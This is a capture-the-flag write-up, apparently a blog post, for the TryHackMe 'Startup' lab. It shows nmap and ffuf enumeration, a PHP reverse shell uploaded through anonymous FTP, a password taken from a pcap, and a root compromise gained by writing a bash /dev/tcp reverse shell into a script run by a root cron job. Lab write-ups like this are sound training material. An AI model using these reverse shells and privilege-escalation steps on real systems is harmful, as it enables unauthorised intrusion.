TryHackMe || Startup Writeup

Task 1 || Enumeration

we start our room by our nmap scan to see the up ports and to list the service

nmap -A -vv 10.10.146.202

and we see that there’s 3 ports up and anonymous login is allowd on ftp !

let’s leave the ftp anonymous login for now and check the http port and search the web

looks like nothing is here and i also checked the source code and there was nothing but a single comment saying we should update this, so let’s use FFUF and search for any hidden directories

ffuf -u http://10.10.146.202/FUZZ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt

and we see that there’s only 1 subdomain that we can search and it’s called files

i opend the sub doamin and there was a txt file and a photo

i opend the .txt file and there was nothing important but maya might be a user somwhere so we just note that down for now.

i also check if there’s any files hidden in the photo but there was nothing

now let’s go to the ftp server and check what’s in there, so i logged in anonmously and the ftp server hosts the same files that the weberver host

but wait a seconed we have full access to the ftp directory , so why not uploading a php rev shell to the server !?

let’s try it, so i got the pentestmonkey php revrse shell and uploaded it via ftp

and when i checked the webserver again i noticed that my shell do exist

so i set a listener on port 4444

nc -nvlp 4444 

and then clicked on the php file and boom we have a shell now as www-data

Task 2 || What is the secret spicy soup recipe?

this shell in not interactive so we move to interactive shell using this command

python3 -c 'import pty; pty.spawn("/bin/bash")'

now let’s see what is the recipe and enumerate to get more info

we can see that the www-data user own 2 files one of them is the recipe that we want for the room

Task 3 || What are the contents of user.txt?

now let’s check the other folder that our user (www-data) own

inside it there was a pcap file so let’s get it and check it with wireshark

Get Omar alaa’s stories in your inbox

Join Medium for free to get updates from this writer.

Remember me for faster sign in

so i hosted http server on port 5555 on the machine and navigated to it with my browser to download it

python -m SimpleHTTPServer 5555

nice , now that we have the file let’s check it with wireshark

while looking at all the requests i noticed that there ip that is doing so many requests, so ctrl+alt+shift+t on the request to follow tcp stream

and it looks like somone spwaned a shell and tried some commands then typed password so let’s keep that password

i tried using this password to see if the www-data have sudo commands but it wasn’t for the www-data user

i saw earlier in the home folder a user called lennie so let’s try this for lennie user

it worked we are the lennie user right now let’s navigate to the /home/lennie and get the user flag

Task 4 || What are the contents of root.txt?

it’s time to get the root flaggg

while getting the user flag i notice that there’s file called scripts in setting in the /home/lennie user

let’s see what’s inside

there’s 2 files, one of them is bash script that is owned by the root user so let’s check them

the bash script echo the ouput of the list variable and puts it in the startup_list.txt file and then it runs the print.sh script

so let’s check the print.sh script and what is it doing

so the script is owned by lennie user which is us and does nothing but printing done

that’s awesome but how can we make the root user run his planner.sh script so that our script (print.sh) get executed and we get our root shell so i tried searching for anything i can run as sudo and for any cron jobs but i found nothing but when i went back to the /home/lennie/scripts and pressed ls -la again i noticed the the last time the file got updated has changed, so i waited and it seems that someone executes it every minute

who else but the root user can do that !!!

so i sat a listener then edited the print.sh that we own and updaed it with reverse shell

bash -i >& /dev/tcp/10.8.150.142/4445 0>&1

And here we gooo we are the root user, Happy Hacking @_@